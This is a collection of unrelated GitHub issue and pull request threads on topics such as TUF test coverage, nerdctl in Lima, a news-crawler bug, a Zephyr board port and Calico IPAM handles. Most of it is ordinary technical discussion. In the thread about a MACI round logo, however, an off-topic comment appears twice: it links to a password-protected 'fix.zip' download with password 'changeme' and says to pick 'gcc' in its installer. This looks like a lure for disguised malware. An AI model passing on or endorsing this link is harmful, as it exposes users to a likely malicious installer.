ngclient Updater: write tests to handling coverage report

Description of issue or feature request:
This is the minimal amount of testing we should have to enable coverage for the ngclient updater and the first step of resolving #1462 for the Updater.
When resolving the missing lines reported by coverage we will decide if we want to handle all of them
or there is a sense of leaving some of them.

We should remember to test downloading files with filenames HASH.FILENAME.EXT or when consistent_snapshot is True.

The current coverage all percentage reported for tuf/api/ngclient/updater.py is 77 %.

From @MVrachev in https://github.com/theupdateframework/tuf/pull/1463#pullrequestreview-715850729

there are a couple of code paths not tested yet (according to coverage all):
delegation role with terminating option turn on
test when a target is not found
reaching the max limit of visiting delegations, but there are more delegations left
Additionally, we never test DelegatedRole.is_in_trusted_paths() when path_hash_prefixes is set and thus never actually test calculating the hashes.

also

we're probably not testing cycle prevention in _preorder_depth_first_walk(): this is the if (role_name, parent_role) in visited_role_names branch
test that terminating actually prevents backtracking to other roles (but does not prevent e.g. finding an earlier sibling role)

Up to now the coverage has been/will be improved by: https://github.com/theupdateframework/tuf/pull/1477,  https://github.com/theupdateframework/tuf/pull/1553, https://github.com/theupdateframework/tuf/pull/1522, https://github.com/theupdateframework/tuf/pull/1519
I am assigning this to myself to finish the work and include ngclient to the coverage report.


Getting Started Section Review

@hasan7n I'm creating this PR for the Getting Started Section review. Let me know if you have any issues.

@cassianomoraes Thanks for rephrasing the docs and making it better!
I reviewed the benchmark owner tutorial. There are some typos and things to be changed. Can you please take a look? also, can you please double-check the other files before I review them?

moved to this


Text to Speech Crash

How to recreate:
Use text to speech in BeffsEasyNotes
What happens:
It doesn't respond and makes the whole application crash.

Update 1 : Seems to only occur when many words are added, will test this in VS, as it doesn't occur with few words.

Update 2 : Update 1 is confirmed, and Text to Speech will go into maintaince as of version 1.5.2.
For further information see the official wiki

Update 3 :
I seem to have fixed the issue by using another method.
If you have issues with the revised Text To Speech Simply create a new issue.

The issue seems to be still hanging around so the issue is back open.

Current Plan :

Remove the current version of the Text-To-Speech Classes
Replace with Cortona or a equivlent replacement.

This will be addressed in Version 1.6.1 updates will be posted

Update: Feature Removed until further notice.

Text to speech is something that is not in the best interest of moving us forward so the feature will not be fixed, and will no longer be supported. It will also be removed so you do not experience issues with it.


Let Lima install nerdctl instead of bundling it in the ISO

That's how it works for all other distros, and it allows updating of nerdctl without making a new alpine-lima release.
At the very least Lima should be able to update nerdctl to a newer version, even if the ISO already includes an older version.

The following binaries are dynamically linked with glibc (as of nerdctl-full v0.22.0)

buildg
containerd
containerd-stargz-grpc
ctr
ctr-remote
ipfs

The following binaries are dynamically linked with glibc (as of nerdctl-full v0.22.0)

That's ok; the only binaries from the nerdctl tarball we install right now are buildctl, buildkitd, and nerdctl: https://github.com/lima-vm/alpine-lima/blob/034d4745e9aae32e6128e55696417dbe1e27ec40/genapkovl-lima.sh#L241-L244
So just being able to upgrade these 3 via lima would already be an advantage.

All 3 binaries are now available in Alpine 3.17

lima-std:~$ nerdctl version
WARN[0000] environment variable XDG_RUNTIME_DIR is not set, see https://rootlesscontaine.rs/getting-started/common/login/
WARN[0000] environment variable XDG_RUNTIME_DIR is not set, see https://rootlesscontaine.rs/getting-started/common/login/
WARN[0000] environment variable XDG_RUNTIME_DIR is not set, see https://rootlesscontaine.rs/getting-started/common/login/
FATA[0000] rootless containerd not running? (hint: use `containerd-rootless-setuptool.sh install` to start rootless containerd): environment variable XDG_RUNTIME_DIR is not set, see https://rootlesscontaine.rs/getting-started/common/login/
lima-std:~$ sudo nerdctl version
Client:
 Version:	1.0.0
 OS/Arch:	linux/amd64
 Git commit:	<unknown>
 buildctl:
  Version:	0.10.6
  GitCommit:	alpine

Server:
 containerd:
  Version:	v1.6.12
  GitCommit:	a05d175400b1145e5e6a735a6710579d181e7fb0
 runc:
  Version:	1.1.4
  GitCommit:	5fd4c4d144137e991c4acebb2146ab1483a97925

Hello :D . Is this possible yet? Noticed that buildkitd is out of date and it's currently bundled with nerctl. Was hoping to use the new attestation features.

I don't think that the nerdctl distribution ("nerdctl-full") comes in a musl flavor yet, it only supports glibc as far as I know

#130 removes the setting to install nerdctl into the ISO image.
Getting Lima to install nerdctl into Alpine would have to be implemented in the Lima repo itself: https://github.com/lima-vm/lima/issues/2807

Most likely it would need nerdctl to make a special build of the nerdctl-full distribution, for musl (not glibc)


[Bug]: Unable to crawl The Intercept

Describe the bug
When looking at the data provided in #54 I noticed that articles from The Intercept are missing. I tried to gather the articles myself but it didn't work:
How to reproduce
from fundus import PublisherCollection, Crawler
from fundus.logging import basic_logger
import logging

basic_logger.setLevel(logging.DEBUG)

# initialize the crawler for Washington Times
crawler = Crawler(PublisherCollection.us.TheIntercept)

# crawl 10 articles and print
for article in crawler.crawl(max_articles=10):
    print(article)

Expected behavior.
Articles should be printed but are being skipped. Logging info below.
Logs and Stack traces
2023-07-07 17:15:31,033 - asyncio - DEBUG - Using selector: KqueueSelector
2023-07-07 17:15:32,675 - root - DEBUG - Skipped article at 'https://theintercept.com/2023/07/07/deconstructed-podcast-price-controls-inflation/' because of extraction filter
2023-07-07 17:15:32,675 - root - DEBUG - Batch took 1.6411941051483154 seconds
2023-07-07 17:15:33,118 - root - DEBUG - Skipped article at 'https://theintercept.com/2023/07/06/fbi-social-media-surveillance-zerofox/' because of extraction filter
2023-07-07 17:15:33,118 - root - DEBUG - Batch took 0.44285011291503906 seconds
2023-07-07 17:15:33,494 - root - DEBUG - Skipped article at 'https://theintercept.com/2023/07/06/trans-health-care-bans-courts/' because of extraction filter
2023-07-07 17:15:33,494 - root - DEBUG - Batch took 0.3765439987182617 seconds
2023-07-07 17:15:33,902 - root - DEBUG - Skipped article at 'https://theintercept.com/2023/07/05/ukraine-cluster-bombs-biden/' because of extraction filter
2023-07-07 17:15:33,902 - root - DEBUG - Batch took 0.4077889919281006 seconds
2023-07-07 17:15:34,217 - root - DEBUG - Skipped article at 'https://theintercept.com/2023/07/04/founding-fathers-radical-quotes-july-4/' because of extraction filter
2023-07-07 17:15:34,217 - root - DEBUG - Batch took 0.3148810863494873 seconds
2023-07-07 17:15:39,961 - root - DEBUG - Batch took 0.0007059574127197266 seconds
2023-07-07 17:15:35,961 - root - DEBUG - Close session <aiohttp.client.ClientSession object at 0x102c65520>

Screenshots
No response
Additional Context
No response
Environment
Python version: 3.9.6

Hey @lukasgarbas, thanks for reporting this.
Could you import Fundus' logger, set the log level to DEBUG and paste the logs here?
You can do so by running
import logging
from fundus.logging import basic_logger

basic_logger.setLevel(logging.DEBUG)

anywhere in your code before your running the crawler.

So it seems that the topic attribute is no longer supported. In fact, they don't provide any topics at all now.
If you don't need topics for your use case you can always fine-tune the extraction filter with the Requires object.
The following will yield parsed articles with at least a title and body set.
from fundus import PublisherCollection, Crawler, Requires
from fundus.logging import basic_logger
import logging

basic_logger.setLevel(logging.DEBUG)

# initialize the crawler for Washington Times
crawler = Crawler(PublisherCollection.us.TheIntercept)

# crawl 10 articles and print
for article in crawler.crawl(max_articles=10, only_complete=Requires("title", "body")):
    print(article)

If you need more advanced filters for your extraction you can write your own which satisfies the ExtractionFilter protocol. Refer to fundus.scraping.filters for some more information about this.
Unfortunately, we currently lag documentation about how to the use library 😅 but there is some work going on regarding this right now.


[WIP] Adaptations for VLC 3

Note Travis CI errors don't count since this branch has no tests yet.

It's a bit too late, since it's merged,
but the changelog is missing


Compile resource packs into just 1 or two and use them by default

This mod can be used to enable resource packs by default in the order we want and hide others.
Resource pack overrides.
Version for 1.19.2 seems to only be on curseforge.


Support multiple stratification CSV uploads

Is your feature request related to a problem? Please describe.
Currently, we only support uploading one stratification CSV file at a time, but ideally we want to support uploading multiple CSV files at once for ease of use.
Describe the solution you'd like
In the Participants -> Stratifications tab, the user should be able to select and import multiple CSV files at once to the Stratifications table.
Additional context

An example showing how it should work:

https://github.com/CarnegieLearningWeb/UpGrade/assets/90279765/8ce0933e-c008-4953-8750-ee25b7859f18

The previous PR (closed due to needing more time to review and test)
https://github.com/CarnegieLearningWeb/UpGrade/pull/1088

The multer library should be removed since the files are not being sent as actual file uploads. Instead, they're sent as plain text within the request body.

@zackcl Do we need this ticket now? Or should we reopen the PR and get multer removed?

QA passed


Add support for ARMv8-R AArch32 FVP platform

This PR helps to test the Cortex-r52 support provided by #42220.
The fvp_baser_armv8r_aarch32 board is mostly a copy of the
fvp_baser_armv8r present in arm64 bu select the CORTEX_R52 cpu.
Documentation has not been imported since it's the same than fvp_baser_armv8r,
also we rely on the arm64/fvp-aemv8r/fvp-aemv8r.dtsi which can be odd for an arm32
based board.
Tested with FVP_Base_AEMv8R_11.17_21
*** Booting Zephyr OS build zephyr-v3.0.0-644-g08e4612ae972  ***
Hello World! fvp_baser_aemv8r_aarch32

looks like there is one missing ifdef in irq_manage

looks like there is one missing ifdef in irq_manage

solved

Would you like to provide the documents for the fvp_baser_aemv8r_aarch32 please? refs:

https://github.com/zephyrproject-rtos/zephyr/tree/main/boards/arm64/fvp_baser_aemv8r/doc
https://github.com/zephyrproject-rtos/zephyr/tree/main/boards/arm64/fvp_base_revc_2xaemv8a/doc

I just add the documents for the fvp_baser_aemv8r_aarch32, it is mostly based on the two documents you mentioned. I didn't test the debugging method through ARM DS, but it used to work when I was using my trial license.

No problem, no need to describe ARM DS.


Chore(interface): update the default round logo for maci-platform design v1

Description
NEXT_PUBLIC_ROUND_LOGO is targeting an invalid image (maybe we should add a MACI logo)
--> currently is fetching a local ETH Mexico logo or some other logos
Notice
For v2, the logo is uploaded by the organizer himself/herself, no need this env variable anymore.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


nothing happens

Description
When I have opened the program, I cannot drop an image into the program with drag and drop, nor can I open the program and select a file. The program remains empty.
Reproduction steps

I press the picture and hold the button down.
I drag the image to the program.
I release the button.
The image is not dragged into the program.

Image file
No response
Version
1.3.4
OS
Windows
Tool
Other

It just worked after I tried several times. It seems like it's an occasional problem.

I think I know what the problem is. The image just won't show. I tried to remove data, and suddenly there was a picture of the picture I had chosen in my downloads, without data. But I couldn't see that the picture had been selected.

Please try the new beta version. I guess your image is generated by ComfyUI.
This version should be able to display images properly and show an exact reason for the error. If not, then please post the image that cannot be displayed here.
https://github.com/receyuki/stable-diffusion-prompt-reader/releases/tag/v1.3.5-beta.1


Break apart the Kubernetes Client

Make a separate directory for clients so they are not part of the APB code.  This will make the clients
easy to initialize, a single place to create the object, and adds the ability to easily create new ones.
Partially-fixes: https://github.com/openshift/ansible-service-broker/issues/213

Testing: Run the normal broker tests.

I'm going to approve this on my side. The main concern is similar to @eriknelson need to remove Clients struct. But the changes here seem reasonable.

@jmrodri Plan is for me to follow up this series with a PR that removes the Client, which is reasonable because this is a good step forwards and looks stable.

Working in #222


Front End for Casino Games and Asset folder for cards

Added the handlebars,  CSS and JavaScript for the casino games and added the asset folder for the cards to display in the game.

approved

approved


addasdasd

Problem encountered on https://dotnet.microsoft.com/en-us/learn/aspnet/hello-world-tutorial/install
Operating System: windows
Provide details about the problem you're experiencing. Include your operating system version, exact error message, code sample, and anything else that is relevant.

Closing; bad title no info


[enhancement] Improve the UX of Manage folders screen

Improve the UX of Manage folders screen by hiding increasing folder list padding bottom:
https://github.com/ARK-Builders/ARK-Navigator/issues/400
Result:

If list is not full screen, scroll hides fab forever
Screenshot

@mdrlzy Thanks, that's a good catch.
I just changed the solution to a simpler strategy: Increase the list bottom padding.
Please re-review.

So far so good. Could you please spend a bit more time on trying other solution for this improvement? Adding padding at the bottom might reduce our space and lead to a big empty space in our screen. Just found this article to handle fab effect. Please give it a try.
https://www.geeksforgeeks.org/auto-hide-or-auto-extend-floating-action-button-in-recyclerview-in-android/

@hieuwu That's a nice approach.
I've changed the code to make it work in such a mentioned way.
Please review.


[Help Wanted] ipamhandles is increased and these bloating the data size of etcd

Expected Behavior
ipamhandles will be compressed over a period of time
Current Behavior

ipamhandles objects are increased.
Do you know how to reduce the increase?
Possible Solution

Steps to Reproduce (for bugs)

Context

Your Environment

Calico version: 3.14
Orchestrator version (e.g. kubernetes, mesos, rkt): kubernetes=1.18.5
Operating System and version: Ubuntu 18.04
Link to your project (optional):

@Bo0km4n it's not uncommon to have lots of IPAM handles - an IPAM handle gets created for every pod that gets assigned an IP address from Calico.
Are you seeing problems as a result of this? Are you seeing more handles than there are pods in the cluster?

@caseydavenport I got resolved this problem.
The causes is I forgot deploy calico-kube-controllers .

Do you know this logic ?

@Bo0km4n I believe the logic you are looking for is found in the node controller. Or more specifically here: https://github.com/projectcalico/kube-controllers/blob/master/pkg/controllers/node/ipam.go#L181


When is version 9 released ?

In here https://github.com/ossu/computer-science/blob/master/CHANGELOG.md. it says "The curriculum is currently undergoing review for v9". Just want to ask what is the status and maybe an estimate of when it is gonna be released ?

The text continues, "As Requests for Comment in this effort are completed, changes are made immediately to the curriculum. When the overall review is complete we will notate the version bump to v9." The day that v9 is declared, the curriculum will look almost exactly the same as the day before.

The text continues, "As Requests for Comment in this effort are completed, changes are made immediately to the curriculum. When the overall review is complete we will notate the version bump to v9." The day that v9 is declared, the curriculum will look almost exactly the same as the day before.


Could it work without composer ?

Just use php

@carry0987 Yes it could, but Composer just makes it so much easier to manage dependencies. And once you give it a try, you'll find out it really isn't that hard. Don't be afraid of the commandline :-)
Start with Composer
(Composer is also intergrated in Netbeans and Eclipse but I never tried that myself)

OK !
I will try it!!


Update downloading-and-installing-node-js-and-npm.mdx

Hi, there!
I was having an error where my Windows system wasn't recognizing the installed mvn-windows  throught  nvm --version command, even though my system variables seemed to be set up correctly. The error message mentioned something about nvm not being valid or recognized.
After searching online for solutions related to mvn-windows, system variables, and registry settings, I had a hunch that a simple restart might fix the problem. And it did!
I hope this tip saves someone else time in the future.  Cheers!

References

Hey @AlexandraCruz this is great. Did you pre-install nvm and then execute e.g the command nvm --version directly? (without any post-installation terminal/system reboot?)

Hello. I preinstalled nvm.
Sheers!
El mié., 20 de nov. de 2024 1:14 p. m., Sarkis Kovlekjian <
@.***> escribió:

Hey @AlexandraCruz https://github.com/AlexandraCruz this is great. Did
you pre-install nvm and then execute e.g the command nvm --version
directly? (without any post-installation terminal/system reboot?)
—
Reply to this email directly, view it on GitHub
https://github.com/npm/documentation/pull/1373#issuecomment-2489147688,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABAEOOYI5NJ7AFWFYVLNIT32BS7NPAVCNFSM6AAAAABRZTFTROVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIOBZGE2DONRYHA
.
You are receiving this because you were mentioned.Message ID:
@.***>

Sorry, I am lack of time to reproduce this issue.
On Thu, Nov 21, 2024 at 1:06 PM Sarkis Kovlekjian @.***>
wrote:

De facto is to reboot at least the terminal session after installation.
Can you reproduce the issue and close this issue if solved? 👀
—
Reply to this email directly, view it on GitHub
https://github.com/npm/documentation/pull/1373#issuecomment-2491805039,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABAEOO4Q4CFHQPRZFPDQQ5T2BYHJPAVCNFSM6AAAAABRZTFTROVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIOJRHAYDKMBTHE
.
You are receiving this because you were mentioned.Message ID:
@.***>

I think in the absence of a reproducible use case here we should be hesitant to suggest rebooting your computer as part of the install process.


create PDF from docs PR to get more early feedback

We could get far more early feedback if customers could review PR's. The raw .rst file is very unreadable and it's far too much friction for most folks to install  Sphinx, pull down the pr, and then build.
http://docs.asp.net/projects/mvc/en/latest/getting-started/first-web-api.html#comment-2335708234

We are using PRs for public review.


Initialize TorBrowserDriver with Options object

This is a workaround for a bug in Selenium that will cause failure of the
init method of the Firefox webdriver if a Firefox binary is not installed
somewhere in $PATH. See https://github.com/webfp/tor-browser-selenium/issues/10
for more info.

Wouldn't this cause a failure if we start using Marionette tests?
They rely on those options, and we're providing them empty

@fowlslegs if you think this approach (passing Options obj.) is preferable to @parmegv's approach of adding TB binary to the PATH (i.e. https://github.com/webfp/tor-browser-selenium/pull/11) please let us know.
We had the idea of supporting Marionette, and the Selenium code seem to seek for the binary location and the profile in the Options object. Of course, we could initialize Options with the right binary and profile location to evade this issue.

Closing this for now. We can reopen if we think this approach is preferable to  https://github.com/webfp/tor-browser-selenium/pull/11.

Eh, a workaround is a workaround :-)
I'll file an issue upstream because I don't think this should be default behavior.

https://github.com/SeleniumHQ/selenium/issues/1965 Already there


Added address for solder-bridged setting 0x41

Board supports two bus addresses but code didn't. New code follows the pattern of  that in SHT31D.

thank you :)


Do not require kubectl- prefix for bin

I think I mistakenly suggested forcing a kubectl- prefix for the
"platform.bin" field. At the time I did not realize this is the source file
for symlink operation.
Since we automatically construct the finale executable name of the plugin
from func pluginNameToBin, we don't need to enforce the kubectl- prefix
for the original executables.
This also makes it possible to use kubectl 1.11 plugins in 1.12 without having
the authors change the file names in their repositories.

This PR will break krew. We only need this function to generate the link destination name. We don’t enforce link target naming verification AFAIK.


Unsupported raw socket programming

Unsupported raw socket programming
Unable to create new raw socket using .net core and C# on armhf hardware under linux
As above i can't create raw socket in any way.
It seems like .net core does not support raw socket programming yet.
Hardware: Raspberry Pi3
CPU: armhf
OS: Raspbian
Runtime: 2.0.0-preview1-001887-00
Language: C#
Published on x64 Linux with sdk 2.0.0
Received error:

" Unhandled Exception: System.Net.Sockets.SocketException: Protocol not supported
at System.Net.Sockets.Socket..ctor(AddressFamily addressFamily, SocketType socketType, ProtocolType > protocolType) "

Code that whrows error:
mainSocket = new Socket(AddressFamily.InterNetwork,SocketType.Raw, ProtocolType.IP);

What happens if you run with sudo?
Are you able to write/run a C program that creates a raw socket successfully?

I all ready run this as sudo, I even gave CAP_NET_RAW capability to this program

And what about a C program... you have a program in C that runs successfully opening a raw socket on the same machine?

https://stackoverflow.com/questions/19732145/python-raw-socket-protocol-not-supported
You need to use AF_PACKET (17 on Linux) but that does not seems to be defined for .net.
Try Cprogram as @stephentoub suggested and check it with strace.


Fixed #20972 -- Make messages cookie follow session cookie secure/httponly

https://code.djangoproject.com/ticket/20972

Can this be a variable which we could set in settings.py? e.g. MESSAGE_COOKIE_HTTPONLY = False
Reason: I use messages to send simple notification messages to the frontend, using Django REST Framework.


Create a blog entry video for the GUI

We should have a video that easily describes the OSN GUI and how to use it and it should be posted as a blog entry on the deepcore website.

Description: This video is meant to be a quick video tutorial on the OSN GUI. Its purpose is to inform the user on how to use the GUI and what the capabilities are. It should also take some time to describe the different inputs for the GUI such as image input options and deep learning models. It should end with with an emphasis on how easy the GUI is to use while unlocking a multitude of opportunities for geospatial analysis.


[WIP] Adds support for long lived sessions, but misses cross interactions

What's in

Running tabs shows the running kernels/sessions
there is only one session per path →  that means that they share the kernel behind the scene, hence variables and context!
if the same notebook has to be run several times in parallel (???) it must be duplicated first
the msgs coming from the backend repl is sent over all connected web-sockets/client (page opened with the same path)

Known Issues

the messages are received by the clients but there are ignored (nothing shows up in the UI) →  see below
the web-socket for observables are still separated so they won't get updated with backend events

Session behavior/Web socket management
A web socket is established between the client (browser tab) and the backend server.
All these web sockets (for a given notebook) are also piped to a single backend repl/kernel.
So that when something gets executed in the repl, all tabs will be notified since messages are broadcast to all of them.
However, currently, the UI will ignore them because they are sensitive to message ids.
Indeed, all messages issued by a notebook get assigned an id, this id will be cached locally by the kernel.js component in the _msgs_callbacks object.
So when such message (and id) is created the function set_callbacks_for_msg is called to assign to the msg_id probable callbacks.
However, the functions that are called by the web socket listeners (_handle_output_message and _handle_input_message) are will check if callbacks have been attached to the message that comes out of the socket.
This is done in _get_callbacks_for_msg, if this guy doesn't return anything, then the message will be ignored and an even received_unsolicited_message.Kernel will be triggered with the message as payload.
Further options
That means that UIs are not in sync, so we need to either:

change the kernel.js to be lenient regarding msg_id
add a custom code (in custom.js for instance) that will take care of them!

In both cases, transformations might occur at the same time, hence it's probable that we'll need some Operational Transformation support.

Thanks for the comments @virtualirfan !
I was working and testing the in-memory tachyon which is really interesting (and working).
So now, the idea is to polish this PR, while accepting the current known issues which are affordable since they will only matter while the same notebook will be opened by several persons.
In the same time, polish the tachyon one to have something configurable and more user friendly integration. But I guess we can discuss that on the tachyon branch.
Aftert that, 0.5.0 will almost be releasable ^^.
For the testing, It's fairly easy but deserves some doc/wiki page.
1/ Create/Open a notebook and leave it opened
2/ Check the "Running" tab and see if the notebook is there
3/ Click on it, to assert that the context is share you can print the sparkContext object and check that the refs is the same (you know it's ref on the heap)
4/ Create a variable val test="ok" in one tab
5/ prints it in the second one, println(test)
6/ Close both tabs
7/ Reopen from Running
8/ re-print the varaiable using 4 (it should have overwrite the one creating it... → known issue → needs for OT?)
WDYT?
PS: Need to find a way to automate theses things (have some ideas but need to delegate some time)

Hey @virtualirfan did you had some time try this out? I'll give it another round soon before merging, that's why I'm asking actually ;-).

fixes #141 #158


hwmv2: MAINTAINERS: Fix NXP maintainer yaml

Fix orphaned areas and wrong assigns of NXP platform areas, add MPU area, and clean up files patterns using regex

@JiafeiPan


[Relay] crossentropy_with_logits and its gradient

Thanks for contributing to TVM!   Please refer to guideline https://docs.tvm.ai/contribute/ for useful information and tips. After the pull request is submitted, please request code reviews from Reviewers.
@vinx13

@srkreddy1238 @junrushao1994 @icemelon9 can you guys help review?

@jroesch @SWu @wweic can you guys help review?

@MarisaKirisame can you provide a description in the PR? thanks

ping @SWu please https://docs.tvm.ai/contribute/code_review.html#approve-and-request-changes-explicitly
@MarisaKirisame please add a brief description to the PR

@tqchen @tmoreau89 what do you mean by description? I had edited the PR comment, if that is what u mean.


Add Tip Contributors

@all-contributors please add @VanceCole and @Norc for ideas

@all-contributors please add @VanceCole for ideas

@all-contributors please add @Norc for ideas

@all-contributors add @zeel01 for ideas

@all-contributors add @zeel01 for ideas


Generali - The number of jobs posted is different on scrapers.peviitor.ro than the jobs posted on the company website

ENVIROMENT: production
URL: https://scrapers.peviitor.ro/src/generali/index.html
Browser: Chrome
Device: laptop
OS: Windows 10
STEPS TO REPRODUCE:

Open URL in browser
Click on "Run Scraper" button
Check Jobs available
Click on 'Generali Careers' button
Check Jobs available on Generali website

EXPECTED RESULTS:
The number of jobs posted on https://scrapers.peviitor.ro/src/generali/index.html is the same like  the number of jobs posted on the company website.
ACTUAL RESULTS:
The number of jobs posted on https://scrapers.peviitor.ro/src/generali/index.html (0) is different than the number of jobs posted on company website (6)

Fixed!

After retesting the number of jobs on https://scrapers.peviitor.ro/src/generali/index.html) is the same as the number of jobs on company website.


Mario'sMysteryBox-DevonShunn

I have no idea how to use GitHub to be completely transparent-  I think all my responses to questions should be attached to the fork itself?  Let me know please :)

Thanks for the submission. I think you may want to revisit this concept. Right now you're using Blot to render a preexisting image. Try to write a program that generates an image. Incorporate randomness so you can get a new image each time it is run.

I'm going to close this for housekeeping. Feel free to resubmit when you are ready.


Add an option to skip gradle check for non code related changes

Description

Coming in from #13040 - the file changes are restricted to the changelog file and a GH workflow

There is no need to run a gradle check in this scenario since the code has not been modified in any way

Pros: Getting to merge in non code related changes without any hassles
Cons(?): Missing out on flakiness
I would love to hear some feedback from other maintainers.
Check List

[ ] ~New functionality includes testing.~

[ ] ~All tests pass~

[ ] ~New functionality has been documented.~

[ ] ~New functionality has javadoc added~

[ ] ~Failing checks are inspected and point to the corresponding known issue(s) (See: Troubleshooting Failing Builds)~
[x] Commits are signed per the DCO using --signoff
[ ] ~Commit changes are listed out in CHANGELOG.md file (See: Changelog)~
[ ] ~Public documentation issue/PR created~

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Thoughts here - @dblock / @andrross / @reta / @peternied

How about something similar to skip-changelog where a maintainer can make a call that a gradle check is not required?

How about something similar to skip-changelog where a maintainer can make a call that a gradle check is not required?

I mean, we can already do this by just merging the PR without a completed or passing check. Seems a bit like a slippery slope if we normalize manually skipping the gradle check.

How about something similar to skip-changelog where a maintainer can make a call that a gradle check is not required?

I mean, we can already do this by just merging the PR without a completed or passing check. Seems a bit like a slippery slope if we normalize manually skipping the gradle check.

+1 to this. I'd be wary of adding a super power, and instead rely on the framework to guide through it.


Simple find leads to: "undefined method `first' for true:TrueClass"

Ruby 1.9.2-head, Mongoid 2.4
really bizarre...
Loading development environment (Rails 3.1.1)
ruby-1.9.2-head :001 > Post.find(BSON::ObjectId('4ee2422d13493b0001000352'))
NoMethodError: undefined method first' for true:TrueClass 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/relations/builders/embedded/many.rb:24:in build'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/relations/accessors.rb:43:in create_relation' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/relations/accessors.rb:26:in build'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/relations/accessors.rb:101:in block (4 levels) in getter' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/threaded/lifecycle.rb:125:in _loading'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/relations/accessors.rb:100:in block (3 levels) in getter' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/threaded/lifecycle.rb:84:in _building'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/relations/accessors.rb:99:in block (2 levels) in getter' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/callbacks.rb:88:in block (2 levels) in cascadable_children'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/callbacks.rb:84:in each_pair' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/callbacks.rb:84:in block in cascadable_children'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/callbacks.rb:83:in tap' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/callbacks.rb:83:in cascadable_children'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/callbacks.rb:42:in run_callbacks' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/document.rb:291:in block in instantiate'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/document.rb:287:in tap' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/document.rb:287:in instantiate'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/factory.rb:40:in from_db' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/contexts/mongo.rb:162:in first'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/criteria.rb:45:in first' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/criterion/inclusion.rb:169:in from_map_or_db'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/criterion/inclusion.rb:149:in execute_or_raise' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/criterion/inclusion.rb:129:in find'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/bundler/gems/mongoid-f2dada1ece84/lib/mongoid/finders.rb:84:in find' 	from (irb):1 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/gems/railties-3.1.1/lib/rails/commands/console.rb:45:in start'
from /Users/nader/.rvm/gems/ruby-1.9.2-head/gems/railties-3.1.1/lib/rails/commands/console.rb:8:in start' 	from /Users/nader/.rvm/gems/ruby-1.9.2-head/gems/railties-3.1.1/lib/rails/commands.rb:40:in <top (required)>'
from script/rails:6:in require' 	from script/rails:6:in '

Also, the post DOES exist in the db:

db.posts.find({_id : ObjectId('4ee2422d13493b0001000352')})
{ "_id" : ObjectId("4ee2422d13493b0001000352"), ...

turns out that post's embedded collection of comments had a value of true which doesn't make any sense.  not sure how that value was set, but that is probably the real bug.
closing for now


Update README.md

Add SDM 2023 paper: A Linkage-based Doubly Imbalanced Graph Learning Framework for Face Clustering.

Thanks!
Have done. Please check 1.2.3 Imbalanced Link Classification.


Allow multiple forms for the featureflag script

It was tedious to get the actual argument right, so this checks for multiple forms and tries to correct them.
The following should be supported now:
eng\scripts\featureflag.ps1 -set -flag Razor.LSP.ForceRuntimeCodeGeneration -enable
eng\scripts\featureflag.ps1 -set -flag Razor\LSP\ForceRuntimeCodeGeneration -enable
eng\scripts\featureflag.ps1 -set -flag FeatureFlags.Razor.LSP.ForceRuntimeCodeGeneration -enable eng\scripts\featureflag.ps1 -set -flag FeatureFlags\Razor\LSP\ForceRuntimeCodeGeneration -enable`
This should make copying the value from code easier to figure out. We could also just assume feature flags start with FeatureFlags\LSP\Razor\<flagname> but that's not inherantly true, just happens to be for now.

Running https://devdiv.visualstudio.com/DevDiv/_build/results?buildId=9469335&view=results to test with


misc: bump dnspython in /util/gem5-resource-manager

Bumps dnspython from 2.3.0 to 2.6.1.

